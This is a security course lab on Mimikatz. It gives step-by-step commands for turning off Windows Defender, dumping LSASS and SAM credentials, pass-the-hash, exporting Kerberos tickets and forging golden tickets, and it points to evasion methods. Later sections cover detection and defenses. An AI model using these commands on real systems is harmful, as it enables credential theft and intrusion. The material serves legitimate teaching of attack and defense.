Skip to main content

Lab 8.1: Mimikatz - Live Credential Extraction

Learning Objectives​

By the end of this lab, you will be able to:

  • Understand how Windows stores credentials in memory
  • Use Mimikatz to extract plaintext passwords from RAM
  • Extract NTLM hashes for Pass-the-Hash
  • Understand the operation of LSASS (Local Security Authority Subsystem Service)
  • Dump Kerberos tickets
  • Perform Pass-the-Hash and Pass-the-Ticket attacks
  • Understand why Credential Guard is essential
  • Detect the use of Mimikatz on a system
  • Implement protections against these attacks

Estimated Duration​

45 minutes

Prerequisites​

  • Windows 10/11 VM
  • Administrator rights
  • Understanding of Windows authentication
  • Lab 3.1 (credential extraction) completed for context
  • Antivirus temporarily disabled (for lab only)

Professional Context​

Mimikatz is the most famous and feared tool in Windows security. Created by Benjamin Delpy, it demonstrates that Windows stores credentials in memory in a retrievable manner.

Mimikatz is used by:

  • Pentesters during penetration tests
  • Red Teams for attack simulations
  • APT (Advanced Persistent Threat) attackers
  • Ransomware for lateral movement
  • Forensics for investigation

Historical impact:

  • Revealed weaknesses in Windows credential storage
  • Used in almost all major attacks since 2011
  • Standard tool in any Windows pentest
  • Forced Microsoft to develop Credential Guard

Famous attacks using Mimikatz:

  • NotPetya (2017) - Devastating ransomware
  • BadRabbit (2017) - Ransomware targeting Ukraine
  • Carbanak (2015) - $1 billion bank heist
  • Industroyer (2016) - Attack on electrical infrastructure

ETHICAL AND LEGAL WARNING - EXTREMELY IMPORTANT​

MIMIKATZ IS AN EXTREMELY POWERFUL TOOL

Mimikatz allows extraction of ALL passwords in memory, including:

  • Plaintext passwords
  • NTLM hashes
  • Kerberos tickets
  • Certificates

AUTHORIZED ONLY:

  • On your personal test VM
  • On systems you own
  • Within penetration testing with written contract and explicit authorization
  • For forensic investigation with legal warrant

STRICTLY PROHIBITED:

  • On enterprise systems without formal authorization
  • On computers you do not own
  • For stealing others' credentials
  • For unauthorized access to systems

LEGAL CONSEQUENCES: Unauthorized use of Mimikatz = Illegal access to computer systems + Theft of authentication data (Criminal Code art. 342.1). Serious crime with prison and massive fines.

DETECTION:

  • All antivirus software immediately detects Mimikatz
  • EDR (Endpoint Detection and Response) alerts in real-time
  • SIEM correlates events
  • Usage leaves traces in logs

FOR THIS LAB:

  • Isolated Windows VM (internal network)
  • No Internet access
  • Antivirus disabled ONLY for the duration of the lab
  • Reactivate immediately after

Part 1: Understanding Windows Credential Storage​

Step 1.1: LSASS (Local Security Authority Subsystem Service)​

LSASS.exe:

  • Critical Windows process
  • Manages user authentication
  • Stores credentials in memory for Single Sign-On (SSO)
  • Runs with SYSTEM privileges

What LSASS stores:

When you log into Windows:

1. You enter: username + password
2. Windows validates the credentials
3. LSASS stores in memory:
   - Plaintext password (if WDigest enabled)
   - NTLM hash of the password
   - Kerberos tickets (if Active Directory domain)
   - Authentication tokens

Why: To allow SSO (Single Sign-On)

  • You enter the password ONCE at login
  • Windows automatically uses it for network access, services, etc.
  • Convenient BUT dangerous if compromised!

Step 1.2: WDigest and Cleartext Passwords​

WDigest Authentication Protocol:

  • Old protocol for HTTP Digest authentication
  • Stored passwords IN CLEAR in LSASS!
  • Enabled by default on Windows 7, 8, Server 2008/2012
  • Disabled by default since Windows 8.1 / Server 2012 R2

Check if WDigest is enabled:

Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential"

Result:

  • 1 = Enabled (passwords stored in clear!)
  • 0 or absent = Disabled (more secure)

Questions:

  1. What is LSASS and why is it critical?
  2. Is WDigest enabled on your system?

Step 1.3: Types of Recoverable Credentials​

With Mimikatz, you can obtain:

1. Cleartext passwords (if WDigest enabled):

Username: admin
Password: MySecretPassword123!

2. NTLM Hash:

NTLM Hash: 8846f7eaee8fb117ad06bdd830b7586c

Usage: Pass-the-Hash (login without password!)

3. Kerberos Tickets:

Golden Ticket, Silver Ticket, TGT

Usage: Impersonation, resource access

4. Certificates:

Authentication certificates
Private keys

Part 2: Installation and Preparation​

Step 2.1: Download Mimikatz​

Official Source:

Download:

  • mimikatz_trunk.zip (full version)
  • Extract to C:\Tools\mimikatz\

WARNING: Antivirus will IMMEDIATELY detect and delete!

Step 2.2: Disable Windows Defender​

PowerShell as administrator:

Set-MpPreference -DisableRealtimeMonitoring $true

Add exclusion (alternative):

Add-MpPreference -ExclusionPath "C:\Tools\mimikatz"

Verify:

Get-MpPreference | Select-Object DisableRealtimeMonitoring

Should return: True

IMPORTANT: Reactivate after the lab!

Set-MpPreference -DisableRealtimeMonitoring $false

Step 2.3: Enable WDigest (For Clear Password Demo)​

To see passwords in clear, enable WDigest:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Then:

  1. Log out
  2. Log back in with your password
  3. The password is now in memory in clear!

Questions: 3. Has Windows Defender been disabled? 4. Is WDigest now enabled?

Part 3: First Use of Mimikatz​

Step 3.1: Launch and Privileges​

Open CMD as ADMINISTRATOR

cd C:\Tools\mimikatz\x64
mimikatz.exe

Mimikatz interface opens:

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #

Obtain debug privileges (CRITICAL):

mimikatz # privilege::debug

Expected result:

Privilege '20' OK

If "ERROR": You are not an administrator!

Elevate to SYSTEM token:

mimikatz # token::elevate

Result:

Token Id  : 0
User name : NT AUTHORITY\SYSTEM

You are now SYSTEM!

Questions: 5. Did obtaining debug privilege succeed? 6. What is your current privilege level?

Part 4: Password Extraction - THE MAGIC COMMAND​

Step 4.1: sekurlsa::logonpasswords​

THE MOST POWERFUL COMMAND IN MIMIKATZ:

mimikatz # sekurlsa::logonpasswords

WAIT A FEW SECONDS...

RESULT (example):

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : DESKTOP-ABC123$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 11/8/2024 10:30:45 AM
SID               : S-1-5-18
        msv :
         [00000003] Primary
         * Username : DESKTOP-ABC123$
         * Domain   : WORKGROUP
         * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
        
Authentication Id : 0 ; 123456 (00000000:0001e240)
Session           : Interactive from 1
User Name         : Admin
Domain            : DESKTOP-ABC123
Logon Server      : DESKTOP-ABC123
Logon Time        : 11/8/2024 10:31:12 AM
SID               : S-1-5-21-xxx-xxx-xxx-1001
        msv :
         [00000003] Primary
         * Username : Admin
         * Domain   : DESKTOP-ABC123
         * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
         * SHA1     : da39a3ee5e6b4b0d3255bfef95601890afd80709
        tspkg :
        wdigest :
         * Username : Admin
         * Domain   : DESKTOP-ABC123
         * Password : MySecretPassword123!
        kerberos :
         * Username : Admin
         * Domain   : DESKTOP-ABC123
         * Password : MySecretPassword123!

INCREDIBLE! The password appears IN CLEAR:

Password : MySecretPassword123!

ALL connected users:

  • Their username
  • Their domain
  • Their password IN CLEAR!
  • Their NTLM hash
  • Their Kerberos tickets

BOOM! That's why Mimikatz is legendary!

Step 4.2: Analyzing the Results​

Each user session displays:

msv (Microsoft Authentication Package):

  • NTLM hash
  • Can be used for Pass-the-Hash

tspkg (Terminal Services Package):

  • Credentials for Remote Desktop

wdigest:

  • PLAINTEXT PASSWORD (if WDigest enabled!)
  • This is where you see the passwords!

kerberos:

  • Authentication tickets
  • Plaintext password also (if available)

livessp:

  • Credentials for Live ID

Step 4.3: Targeted Extraction​

Extract only plaintext passwords:

mimikatz # sekurlsa::wdigest

Extract only NTLM hashes:

mimikatz # sekurlsa::msv

Extract only Kerberos tickets:

mimikatz # sekurlsa::tickets

Questions: 7. How many users had active sessions? 8. Were you able to see plaintext passwords? 9. If not, why? (WDigest probably disabled)

Part 5: Pass-the-Hash Attack​

Step 5.1: Understanding Pass-the-Hash​

Principle:

Normally:

User enters password → Windows calculates NTLM hash → Uses hash for authentication

But: Windows accepts the hash DIRECTLY!

So:

Attacker has the hash (via Mimikatz)
↓
Uses the hash directly
↓
Successful login WITHOUT knowing the password!

It's like: Using someone's fingerprint without the person!

Step 5.2: Extracting the Hash​

From Mimikatz results, note an NTLM hash:

* Username : Admin
* Domain   : DESKTOP-ABC123
* NTLM     : 8846f7eaee8fb117ad06bdd830b7586c

Copy the hash: 8846f7eaee8fb117ad06bdd830b7586c

Step 5.3: Using the Hash for Authentication​

With Mimikatz, authenticate with the hash:

mimikatz # sekurlsa::pth /user:Admin /domain:DESKTOP-ABC123 /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe

Result: A new CMD window opens!

This CMD session is authenticated as Admin WITHOUT entering the password!

In this new CMD, test:

whoami

Result: DESKTOP-ABC123\Admin

Access a network share (if you have one):

dir \\192.168.100.20\C$

Access successful with ONLY the hash!

Questions: 10. Did Pass-the-Hash work? 11. What network resources can you access with the hash?

Part 6: Full LSASS Dump​

Step 6.1: Alternative Method - Task Manager​

If Mimikatz is not available, you can dump LSASS:

  1. Open Task Manager (Ctrl+Shift+Esc)
  2. "Details" tab
  3. Find lsass.exe
  4. Right-click → "Create dump file"
  5. File created: lsass.DMP

This file contains ALL credentials in memory!

Step 6.2: Analyze LSASS Dump with Mimikatz​

Transfer lsass.DMP to analysis machine (offline):

On analysis machine (without antivirus):

mimikatz # sekurlsa::minidump lsass.DMP
mimikatz # sekurlsa::logonpasswords

BOOM! Extraction of credentials from the dump!

Advantage:

  • No need to run Mimikatz on the target machine
  • Offline analysis (no runtime detection)
  • Dump can be done with legitimate tools (ProcDump, Task Manager)

ProcDump command (Sysinternals - legitimate!):

procdump.exe -accepteula -ma lsass.exe lsass.dmp

Less suspicious than Mimikatz!

Step 6.3: Automation​

PowerShell script for automatic dump:

# Find LSASS PID
$lsassPID = (Get-Process lsass).Id

# Create dump with comsvcs.dll (native Windows method!)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPID C:\Temp\lsass.dmp full

Write-Host "LSASS dumped to C:\Temp\lsass.dmp"

Stealth method: Uses a legitimate Windows DLL!

Questions: 12. Does the LSASS dump via Task Manager work? 13. Can you extract credentials from the dump offline?

Part 7: Kerberos Tickets and Golden Ticket​

Step 7.1: Extract Kerberos Tickets​

List all tickets:

mimikatz # sekurlsa::tickets

Result:

Group 0 - Ticket Granting Service
 [00000000]
   Start/End/MaxRenew: 11/8/2024 10:31:12 AM ; 11/8/2024 8:31:12 PM ; 11/15/2024 10:31:12 AM
   Service Name (02) : krbtgt ; DOMAIN.LOCAL ; @ DOMAIN.LOCAL
   Target Name  (--) : @ DOMAIN.LOCAL
   Client Name  (01) : Admin ; @ DOMAIN.LOCAL
   Flags 40e00000    : pre_authent ; initial ; renewable ; forwardable ; 
   Session Key       : 0x00000012 - aes256_hmac

Tickets contain:

  • TGT (Ticket Granting Ticket)
  • Service tickets
  • Allow access without re-authentication

Step 7.2: Export Tickets​

Export all tickets to files:

mimikatz # sekurlsa::tickets /export

Files created:

[0;3e4]-0-0-40e00000-DESKTOP$.kirbi
[0;1e240]-2-0-40e10000-Admin.kirbi
...

These .kirbi files are the tickets!

Import them on another machine:

mimikatz # kerberos::ptt Admin.kirbi

Result: Access with Admin's identity on another machine!

Step 7.3: Golden Ticket (AD Domain)​

NOTE: Requires Active Directory environment.

If you have the NTLM hash of the KRBTGT account:

mimikatz # kerberos::golden /user:Admin /domain:domain.local /sid:S-1-5-21-xxx-xxx-xxx /krbtgt:HASH /ptt

Result: PERMANENT administrator ticket!

Golden Ticket allows:

  • Access to all domain resources
  • Valid for 10 years by default
  • Undetectable (except Kerberos monitoring)
  • Survives password change!

Questions: 14. How many Kerberos tickets did you extract? 15. What is a Golden Ticket and why is it so dangerous?

Part 8: Other Mimikatz Features​

Step 8.1: Dump Local SAM​

Extract hash of ALL local accounts:

mimikatz # lsadump::sam

Result:

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c

RID  : 000003e9 (1001)
User : Admin
  Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

All local Windows accounts!

Alternative (more stealthy):

mimikatz # lsadump::secrets

Also extracts:

  • Machine account password
  • Service account passwords
  • DPAPI master keys

Step 8.2: Certificates and Private Keys​

Export stored certificates:

mimikatz # crypto::capi
mimikatz # crypto::cng
mimikatz # crypto::certificates /export

Files created: Certificates and private keys!

Usage:

  • Certificate-based authentication
  • Code signing
  • Data encryption

Step 8.3: Vault and Credential Manager​

Windows Credential Manager stores:

  • Credentials for Remote Desktop
  • Network credentials
  • Web credentials
  • Generic credentials

Extract:

mimikatz # vault::list
mimikatz # vault::cred

Result:

Credential
  Type        : domain_password
  Server      : server.company.com
  User        : admin
  Password    : P@ssw0rd123

Credentials stored in Credential Manager revealed!

Questions: 16. How many credentials are stored in the Credential Manager? 17. Are there any saved RDP passwords?

Part 9: Detecting Mimikatz​

Step 9.1: Antivirus Signatures​

All antivirus software detects Mimikatz:

Test:

Reactivate Defender:

Set-MpPreference -DisableRealtimeMonitoring $false

Try to run Mimikatz:

mimikatz.exe

Result: Immediate deletion by Defender!

Windows Defender logs:

Get-MpThreatDetection | Where-Object {$_.ThreatName -like "*Mimikatz*"}

Step 9.2: Behavioral Detection (EDR)​

Suspicious behaviors detected by EDR:

  1. Access to LSASS process:

    • Event ID 4656: Handle to LSASS
    • Process: Unknown.exe
    • Access: Read Memory

  2. SeDebugPrivilege privilege:

    • Event ID 4672: Special privileges assigned
    • Required to dump LSASS

  3. Reading LSASS memory:

    • API: OpenProcess, ReadProcessMemory
    • Target: lsass.exe
    • Immediate red flag!

Sysmon log query:

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=10} | 
  Where-Object {$_.Message -like "*lsass.exe*"} |
  Select-Object TimeCreated, Message | Format-List

Event ID 10: ProcessAccess (access to a process)

Step 9.3: Detection via Memory Analysis​

Strings in Mimikatz memory:

strings64.exe mimikatz.exe | findstr /i "gentilkiwi sekurlsa"

Unique signatures:

  • "gentilkiwi" (author)
  • "sekurlsa"
  • "A La Vie, A L'Amour" (motto)

Memory scan:

Get-Process | ForEach-Object {
    $proc = $_
    try {
        $modules = $proc.Modules | Where-Object {$_.FileName -like "*kiwi*"}
        if ($modules) {
            Write-Host "SUSPICIOUS: $($proc.ProcessName)" -ForegroundColor Red
        }
    } catch {}
}

Questions: 18. Did Windows Defender detect Mimikatz? 19. How would an EDR detect Mimikatz even with antivirus disabled?

Part 10: Defenses Against Mimikatz​

Step 10.1: Credential Guard​

Windows 10/11 Enterprise - Credential Guard:

Hardware protection against credential dumping:

  • Uses Virtualization-Based Security (VBS)
  • LSASS runs in isolated container
  • Mimikatz CANNOT access credentials

Check if enabled:

Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesConfigured, DeviceGuardSecurityServicesRunning

Activation (Windows Pro/Enterprise + TPM):

# Via registry
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f

# Restart required
shutdown /r /t 0

With Credential Guard: Mimikatz fails!

Step 10.2: Complementary Protections​

1. Protected Users Group:

Add users to the "Protected Users" group:

Add-ADGroupMember -Identity "Protected Users" -Members Admin

Protections:

  • No NTLM cache
  • No CredSSP
  • No Kerberos DES/RC4

2. Disable WDigest (if not already done):

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

3. LSA Protection (RunAsPPL):

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 1 /f

LSASS runs as Protected Process:

  • Harder to dump
  • Basic Mimikatz fails
  • Requires driver to bypass

4. Antivirus and EDR:

  • Signature detection
  • Behavioral detection
  • Block access to LSASS

5. Logging and Monitoring:

  • Sysmon with appropriate config
  • Event ID 4656, 4672, 10 (Sysmon)
  • Alerts on LSASS access

Step 10.3: Best Practices​

Administration:

  1. Use separate accounts (admin vs daily user)
  2. Do not use admin account for web browsing
  3. Disconnect sessions when not in use
  4. No Domain Admin on user workstations
  5. Jump boxes for administration

Technical:

  1. Credential Guard on all machines
  2. Protected Users for privileged accounts
  3. LAPS (Local Administrator Password Solution)
  4. Regular password rotation
  5. 2FA wherever possible

Monitoring:

  1. Alerts on LSASS access
  2. Detection of process dumps
  3. Baseline of normal behaviors
  4. Event correlation (SIEM)

Questions: 20. Is Credential Guard enabled on your system? 21. What other measures would you recommend?

Deliverables​

To submit:

  1. Exploitation Report (Word/PDF, 5-6 pages):

    • Answers to the 21 questions
    • Methodology of using Mimikatz
    • Complete screenshots of results
    • Analysis of extracted credentials (ANONYMIZED!)
    • Technical explanation of operation

  2. Screenshots (minimum 8):

    • Mimikatz interface
    • Successful privilege::debug command
    • Result of sekurlsa::logonpasswords (PASSWORDS BLURRED IF REAL!)
    • Extracted NTLM hashes
    • Pass-the-Hash in action
    • LSASS dump via Task Manager
    • Attempt with Defender enabled (blocked)
    • Credential Guard configuration

  3. Technical Documentation (3 pages):

    • Detailed explanation of LSASS
    • Credential storage process in memory
    • Why Mimikatz works
    • Evolution of Microsoft protections

  4. Defense Plan (2 pages):

    • Multi-layer protection measures
    • Credential Guard configuration
    • Privileged account management policy
    • Monitoring and detection strategy

Evaluation Criteria​

CriterionPoints
Understanding of Mimikatz and LSASS operation25%
Successful credential extraction25%
Execution of Pass-the-Hash20%
Complete technical documentation15%
Realistic defense plan15%

Quick Reference Commands​

Preparation​

# Disable Defender (lab only!)
Set-MpPreference -DisableRealtimeMonitoring $true

# Enable WDigest (for clear passwords)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Essential Mimikatz​

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
mimikatz # sekurlsa::msv
mimikatz # sekurlsa::tickets

Pass-the-Hash​

mimikatz # sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH /run:cmd.exe

Dump LSASS​

# Task Manager GUI
# OR
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# OR
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump PID lsass.dmp full

Analyze Dump​

mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

Protection​

# Credential Guard
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f

# LSA Protection
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 1 /f

# Disable WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

Troubleshooting​

Problem: "ERROR kuhl_m_sekurlsa_acquireLSA"​

Solution: Mimikatz lacks necessary privileges.

  • Run CMD as administrator
  • Check privilege::debug returns "OK"
  • Try token::elevate

Problem: No plaintext password displayed​

Reason: WDigest disabled (normal on Windows 10+)

Solutions:

  • Enable WDigest (see Step 2.3)
  • Log out and log back in
  • NTLM hashes are still available even without WDigest

Problem: "Access Denied" when dumping LSASS​

Solution:

  • Run as administrator
  • Antivirus may block (disable temporarily)
  • Some EDRs block even for admin

Going Further (Optional)​

Challenge 1: Mimikatz Evasion​

Techniques to avoid detection:

  • Binary obfuscation
  • In-memory loading (invoke-mimikatz)
  • Source code modification and recompilation
  • Use of alternatives (pypykatz, lsassy)

Challenge 2: Forensic Analysis​

On a compromised machine:

  • Identify traces of Mimikatz
  • Analyze logs for timeline reconstruction
  • Identify compromised credentials
  • Assess impact and scope of compromise

Challenge 3: Alternatives to Mimikatz​

Research and test:

  • pypykatz (Python implementation)
  • lsassy (Dump LSASS via SMB)
  • SharpKatz (C# implementation)
  • SafetyKatz (in-memory execution)

Additional Resources​

Conclusion​

This lab taught you:

  • Use of Mimikatz, the legendary credential dumping tool
  • Extraction of plaintext passwords from RAM
  • Pass-the-Hash technique for passwordless authentication
  • Manipulation of Kerberos tickets
  • Multiple methods of dumping LSASS
  • Detection and defenses against these attacks

Critical lessons:

  1. Windows stores credentials in memory in a retrievable manner
  2. Administrator access = Access to ALL credentials in memory
  3. WDigest (if enabled) stores passwords IN CLEAR
  4. NTLM hash is sufficient for authentication (Pass-the-Hash)
  5. Credential Guard is the only true protection
  6. Detection is easy but prevention is complex

Impact of this knowledge:

  • Deep understanding of Windows authentication
  • Importance of privilege separation
  • Necessity of monitoring and detection
  • Credential Guard = Mandatory in enterprise
  • NEVER use admin accounts for daily tasks

Final message:

You have just learned to use the most powerful and feared tool in Windows security. Mimikatz revolutionized pentesting and forced Microsoft to rethink their security architecture.

With great power comes great responsibility.

Use Mimikatz only:

  • On your test VMs
  • Within authorized pentests
  • To understand and DEFEND against these attacks

NEVER for:

  • Stealing others' credentials
  • Unauthorized access
  • Malicious compromise

You now understand why:

  • Antivirus detects Mimikatz instantly
  • EDRs alert on LSASS access
  • Credential Guard is essential
  • Windows security has evolved since Windows 10

Next step: Lab 8.2 where you will learn to bypass antivirus with obfuscation and AMSI bypass!

Lab developed as part of the Operating Systems course - MODULE 8